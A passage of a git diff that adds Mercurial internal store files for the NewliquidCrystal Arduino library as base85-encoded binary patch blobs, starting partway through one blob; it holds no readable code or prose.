zuD%wkcgMftZZr7jqmXtoLH-&dV^(=XDaZDkYl*6qTrE>&;{+@o;HV;ej7B!^8Xe~i zNr`Wll`q+!mu7gH;Xg~x{IZZ8wb^$r@TO#Uxh?T|{nyAXTzG@KSneV-%ftTbjkm~h zt<27GeQO}tcvsfi8#UhHP{pPxSe=KuvVUX|i)E8jo-uk$Z(C3c@*#)a2 zklk=y`6$9L(uhyuC&{633u;F17lqkvhb7R+u69!m7*)cHbA9;QDK%E(_-sg|mkCRZ zLfHcwkciX4lyF0u{#N+f$BV)LZIEwE_G zkgMT9Gv|H4*vj#>?5e%-MKo@U%4f0)qVUi-K&HV+yHYP^S9G}v6}jmABpJNQ0VC@wQy z{T}|UkH{`k9#lKUXTFVm=_r<^7edp%apGUSA&4{udj<^!zAOV_2+q*Mtz&A>GT z{EYk4UQ~^gMz*`tM3IM9fM~lTdY(YNonS*S3WR@R0m?^DT~*6Ev<0vj&sE6JXxJi zZN^f!y1mv1d8!=wu`&t7SQ}p6o=pX}v-H-@<-g_0d7o|{Q=X1qkHEW)zYCTexQ5Mk z^xo=`))B6AV9G$h>oHgQpaRl)pk1B1PC1j^LW9XBbNIoG1^aK)H$%+~*$}Ev45ZQM z>(l6ajF0?2qjWmhzG|6dOiYZT1+lgG@M~vxcBE-=fn6i7kCXeh_#FmQXmdDp0OW-k=y}6kII1q8^?bKzalx zlX3_`cjl94%8VPC+ZOUzgn91-KM2fD9 z=!9C$sgozcn&VQ!49jmvE{x@+ z(mmy@Q2w6;W=o8xROJ$k78m^$ zs+%!(>menrhx0XS0o(aWW!*bUMm_*?-b{rQa*gs9mmd8_taqT!$^m^ZnS+g|R0b0t zBIiVXiMS^|2_?*skR~P04?WBN^0IXvG1yi=eaPJ#njwj#c}D@NMXV>EVSTsp{#lw7 zKjnhihBr2-!V1GlNqPNVdK?4v?HL{HhKHFZgqiHOot&g;(9?#a5Fy)|!*%LNVv~T| zC)|P#2$R&^GH2By%hS+jTjwy^UY3HMH5p#}1m;YU6Aork3pgKc;%C+QHFs!&?H=Ub z*f9H|h|dS%p|iGuw$}BFKQyQgap|M|KMQHZGPz^A@0AQoiZ|7b>muyg5+^zH&GPr%v)$Fxvx5d(ry0Yu}WuC zVH3$W|06krPr0+Yp37$Jf_jQOcnTQ&D;*K8Gk;OhpQ>OK92bu=2!JF2^Qv6wy`1g3 z?Pv_Pe9n#|QgEI{*{@#gw=CuuL!+5xDFZ=|3VenM=k0LrL<43H06jMUTEIS`+%6iC zCqRX~6R&kFL%}*occcC-t&6LJ&H-LKe6}qc-&b~NvkT?SfZ#2nG{t%_v z+ekK79qsXP580)TseWzo*2Sq&5>eLKIg3P^C;4}DR7liX3?Rp0W^Mjv=h#MbtG$_R z56J^$Pi4kNGeFiq6XHbFkF25;L;S(@Kn<~kP25mS-_QpfKTa_+99YNT<3i_v>AB0e zTTpJ_d1AL4=X^m1oIu4~=y901_#QD#r1#}z6XX$n7j;ae-!AE*afXG*3HQ(upkpe^ zc2Lkg2>i}iLVGfF6EvfcL$^_T@FVU1G_x4Z;}XHsm^I)zcQRF7>cAMJ2c2GI@aEbF ze>|wFz$X52@??CMb^c1Kq=g|@7(0oEX_*ByZ2UJ{(b1mJeyU8vkaej9-s2zcfFRZ% z>44QnmPF8$mXNXHJKE|3Im4SAb#MuOTK3Kybh|eIRj%Hs3cz<`v;FjTI=f96uc{8x zk_6>=1&Q+VK1EB{(Asq#xTUXY6EH#)D09SB6lhb{AgE($9C6DzQy#2Mm5%0RWqJW7 zv%~gk=mkQkt6#JmL|;>g&?EWZ_|kW?8%lc;5n2owzj8HW6MjTVo^>?ND>l?QgnN4% z$;?$4%1)F|M`RH)w^J5;nDO7)ZVf2TY!F#aJV_+&tEegmmi7r|su#kt4$qHJT2mk* zb>#_mX;dlWEVVfP7S5S`M1aC}jOA|r)9z463BEopXBf+t)} zSuSmh|g%4K9yYB_&6yZ6*W1C}p!@H6obVnK~dtXBlf(JB}+UR%` zt}Z^tiB&4lA1Z1VzC8IfA<)>Y;R>-!9tJ(|-HadGJw}3I2+&oC@y6%D2yN5>BzYB+_FG(!{$Q#(!RgiWYU-WES{qlhO zOG_oJdCm&>a#`K-&2|fm(Ex9}5R3hslVsir>b+rHAbYdhSS91Tw62it#h`KZM}nCA zrcNmI@8C1JzqpIpyuuPp1aG)b7!mfz1Sp)3X}ng@egmq>`a45o801#WBK<@Sj^A14FEi|dkzA2{&M#suI_j+^Gp{%j2hYh*oPBBB{w^$pn_v%d{GsD@Pk&y ztN08VrbXW1>x^CAk*U-W0k-r{f`xFiV0%!&Dxfe^^X#Z27?Y8;+>Cld0P;65LXrYT zemXGbqD5FlK|aHQfRTqqyxKHXIY%zf=@S1o>gYfx_Ic zV%zZt=n#{_1cW*6H;;FCi(jrU!sM={b6@r3G{+eP^Eb7~R=4LNI^*M+_(KSsa3KNi+(GlXH7%kaO3{*jc6alWcO? zwDi|_I~|4M$pg|4EgK!QL;PAE2<39&I}xu=ap@ZeV? zgoA)4nCw%3)=ok94Kh4FHZpW43ya399F4|_P7~19XnLjo^E@5VZ}(5)TynkQy~Ku; z&iCDK!(c{s_$peQ9jDvV9-~+E0QV*07mB%iWHyzb+DH}hf`%8D&)*NFueBf}i*sFh z6CclW`E zk3S-`3<5c}(bY0&5(7*z6%}&Zbjac%7xyhV7U2r2F;ijBAV@RU32Zg5JU8=$fmQtW z$SwDt5&CWZ`Nx94()YoG5!jMkku+|Y=bS-Nk*SYDv~Q|O2g8HG9D-Re#6j8{LPfn9 zn@@jvGhVjd7l{x+BWpdKyOODIk4rjB<91j9##NidYcshVS87DFvqTa0ougfS>Lq2m z7YDtMP?xp#>oHJ_jf457dtS`8bpTPrHImsQjoOJGeN}d12cQ3po5+7ex=w+7R+fIM z1Lwoo+Z4Rm!Rbk7$eDdgpbn@8g;dqh!DS)W~fLyi!wfZ6K%Q&mU zG~FvmEq#)|sP+e9UrBd{ugQJpAEY_|FQmErFQoAs`=C!D2Qn+>T3r*QCBqyQ5DyZM zXPCxa*AyyiGu;@#+bhvjGRW!pjO$s5fnOXG)Y9u!N2&Xyt#&?w+57YRJ{ane+Y9_k zSsbsP)_+3PyjL;{1Jok6-BOr^hr6sL&N;6 zSHr()JJk1o&-=H7(O6}m zi;q!~HFbJ4+UqWGW*PxUny*5RyGkaSZK%#rzH8JL3eCfK&*Hcof*F_ZZ8t7@;poB& zg?ht{Ntxv@S0*PAQXjTzS)j-}&enHN1a-HIA-`+o#)+dCZ75_u>4 zu(!oMiN1w$+zvmZ+ii?0^c^Vmv^1YDBJahh44(~>%X1JC7GP*qqB`qD&G$zEyPV7I z+Y)#spud?lt_F-D5-5*tu^op~JS@ekve;Vipo2solQ0OU_`oj(c zdYoE}VQ)u!A3}UG>b31Y?xt$#{gaxngUu)_Z{eZfepUM~^;YC5y^v3oN7hz&afEE; zwVS$}dGUVHff)XpvlTm|5&Y=?41>-uGx0{x_@RZ)@A}cx_KROSSKo%wsMGRSwWT*hsK5+G=q#B82iB~X z0SUO85F$c^0L(8pgzQ}j(~BthgFRKYHsY^V6`&UPpKyHViXPVCpYn*vq&=t&)Pg55 zmp~7Hkc*sHiCCeYR>>#YHMRtY!R%WE7O{rYY&=7LbUo?}N6W`b3_f)m>n_1+gRE0b zNr?6*J?VI`_@W)=e(Xm*(5|{`WZqP0Bx|M}}cN3?BL zwXM&tegfg2x_-CjhR$cjWs@l{kl~5JDWZ4?mXFwi$vHf=^hbkN{rux=3@)NyWSr#(msu-;)$yX@Bns#9AmhBnFB> zRS~vXblThUnWF6qP)=v4OU52H>Ve;Au^7t5ac<<}*729W^EG~os}VRf%*p8B+|W99 zHWWg%8Xl?skI+b@O%rg5vN?)e<8i5ZxyZ^FxA(pRKeDeqIB?xNbA%<*tE!sEUHsja zKhf-n^15@k;oYfx+58t?$2#koyE=Kk90Usea9B#Qz0tkLepRr`F*N142;1Ch`~=0& zhE}B`p1xV7Jes|^&eZ3GX5Or&mX`q{k9Y|Jt8|d}w0oZ%3{4Ral&q}V`d0N^XtM21 zudVoYi@L`!6C>LC2Io@fdvnyjlYaqlN2&$fcjOA7B8kYe7zmqWv5hExd7=7Rbcv*W zDW}fkLg9az(JbF~^7dlOjD}w9LO`8P=M^2l>pgiDB}3o^e@hwB)BaF&@kO=lIYWv{ zPuwIB;~*6%{!qh!kPQrJ5{$Zux;_P&wFM{HlgPyX!aEsZg~2;T*rw*pqaDIH1Y-Je zOA6Vg=~ZRhN9oItA>@Q;@lqy0Nh%5_2%~{XAv!3*$-ayt*dzD%#^RNttfUfLn>>0r zxp{D#`AG};6nS`-2#pJSc;d+W!Bfc>Y{rjGqVounGU;obd~UpLFJUcQ?nk>E7EO@` z;y8NtV*3rJD@s(XqWqo~J$;Wc~5O z|6C4!Y7`*_7+o8=LC_=o?M%zX(dkqQ>lAl>j_y_^H~ zsB8!qp2R1KMuO{?^I%br$x?LXagp7FT5MTIMsoH4q>Eh0{7IJ`I!pqI>c#s-@G!m)nZj)(I-A4gOM0V#(LBO1Tve7wV z^g$drI_Fsq285l)S_Vz5mO-Tno?a)2=W!RzYH`taB__5 z9hYk4?g)^q+`K|=5`GG?e~J{Rc@Tb~j2qaAH;*G5zyDFWp#V(&o0#_RaaeFhItzei z8nRTx3b7s%|w$Y zRT3dW5M~=oFEDQ81^Q-XU576?7`7oZA!vwDCb+&4cs+0XGm~@$c{*SHF-ICwa|&#- z=$?luHKGOmrdP)qn`u)|Jy_(V1@jc%L-mmqJ`O{V>@?@@uS##ddySp=@jPpOv4{UX z4Oyu)M?(TE7;}9X330>x7I9ro*{J3n2J5!OyxroY!O}|BJ%iR~DZdzD`Hsq@DBriT zNyhV1A}SDLhChl9-2A{77v1uyBaeF=Od_IKPDB(`IN8d!0V@Kel4LEG+wrHgZ6Uyz zYRH%hd6lZs*mqk>I?`4wdsOMgIQ8Nd*zk5FY|V2SLabRi0L*K zykD*WTHT>AG&kGp$9|HIjOQ#$23`C}dQ9+h)c6v-DCRd6w}L($p0x;@@k79+6F-vF zlWWwIFAYzLa#^>r;Q5o3i{G2QjzB#xek>M|yQA^lZ!Vw6w>BAPcZMhC?fi)S&0`yV zo9Xr3bIjGh_uF4x_oqMCbae6_X6_g9*XYPDF#mw*QiSg))-{u%{Eowc9z^+#j}o`> zQ=!GD$*C{ZS?zjm=WXWiMEGG_PTp=__ow%^bLoPIYO8t&o?nhgW75=AmX|;at8t3F zs=I|;;t*n9A5cFg9KEf9;CXT>H~UU^`3m49(^-ypPduycyBrKZNniB*Sj9)tYaE8~ z16K*sh=xoeAs7nP42B9u<>#INL2n*mPEOvie-Do!;1v`(j=NDTn_?K1l^9MWf=vh& zg7~90167iQ%Ch|{Iie{uX*<&Vdx+bt1z|Pr!|6TzT(KUwV?Zoz9INNj{!3mZr{+H6T%> zj-nXOxYz1fv|zwJV|DH4NHa5!97b767P^K6(n~WdK#$soYqF=OoV&Gb)4F`63G zxcpmSd4gJN;?2?D>GuDA$ZGRv5)VEc z)f>eE8J1|)9u#&c!HenBy({YeGcx?a5-7C*-_votY@y@o;%j3hq$e!BLMm?Znj*n)^gEqFOp1xdC6h~-pEA|yyn_=^VSlgpd2 zzBR@txmn1sU+p|TQOi+n8D!hdCiahZVeih>SzkSIF)9BisuNZ08*^-&UYoytb<8HG zh@z4zAvBWOcnc{3nt5e7<$}vf&FCtuT7;|)sKvtW@IfWy_`rwp+W zHWLe{+%fv*=P39T@ih@6q2w4dN4SFqdx<2V%s8yH)`mN=zg(cUws&UHfeoqceX;)S zm-RSWlUi};B1mm%@4QNTU$lk2TVD9Yys**PIXN(LbYMo_*7a_3UGIyws`u9#M}8+~ zfd@{$t`iY|X^VQ_pTOIa-YvavLGK{vy0~pc?|TqD7F0O`tYpAIMY)R(CV?>`oGAfn zaso3Y__m(+-s*YROz}Z<-LQgNa=M$#0p)?y=5A$xZDH{HaKN@K_!F3{+Tx{oe22Dp zX-=mG6eKqbTw4_UdDYO&=2UGH(D#-j1sr4v#;g!EvK*H^r+5%|7!#M_^%Xaq=vs&@3pvElu9+(&UwT-c2k_-bEcV z@1w9-@r=g8i>{Slf67g*dtRe=wWi#A`Hp+3_Fh>>l%%1s+B)Q!w@Mf)5Os)J1%Y71 za99WGu?p>U(pz`_addiieDZO(k~@Ecufc2Zw}V&RS^j{Vi|*9dlx#xLoqZ8{!ttgB%?OU+QkZe00q5PKgU6H(r2@Cc1Pd!VY)8 zDZ;L$kc@Qyb@8uZ_|lYv7w@Z(h@x6qXejj5D+7@9*g9pr^CXBDMDK}2b`&QNrA?s` zcKGH16$05n9sLc&@leX>H;*thu!1|l1%{40A_+Fic__HxD5e-cC1Jch`S9V*$9K>C z)WB`s-6|utGFB$S+IpoCuvQXf0dWplszH4n^2frrcW=($?1pTxG04`I?5!djbQm}s z8z3R$g_S@_Bp^nDaAft9GPhq&{y6RYe0+Yk7CWA*{fTaW4p< zLU2j~gY)P~+qV67^5LlS_WjYD)6UWVIeNPz-T}~?F-=(W%5gI!w#mg9S z9sj-apH-~Ug+cdF)bX*1vNMedb;Lrj}DzH`rYXPm*8a=5<8j%h?2c$10S{SVb%EzSHPVqFntnKW_cbuPgG∈hn|^0!Wz+r!4jk3KLjg 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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/delay__x.h.i b/libraries/NewliquidCrystal/.hg/store/data/delay__x.h.i new file mode 100644 index 0000000000000000000000000000000000000000..401f76bbe86efac36073dd3844bc3c5190931116 GIT binary patch literal 3309 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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/__fast__i__o__8cpp.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/__fast__i__o__8cpp.html.i new file mode 100644 index 0000000000000000000000000000000000000000..ed868cf36d33a9f247640973a65c584916a2f828 GIT binary patch literal 6900 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 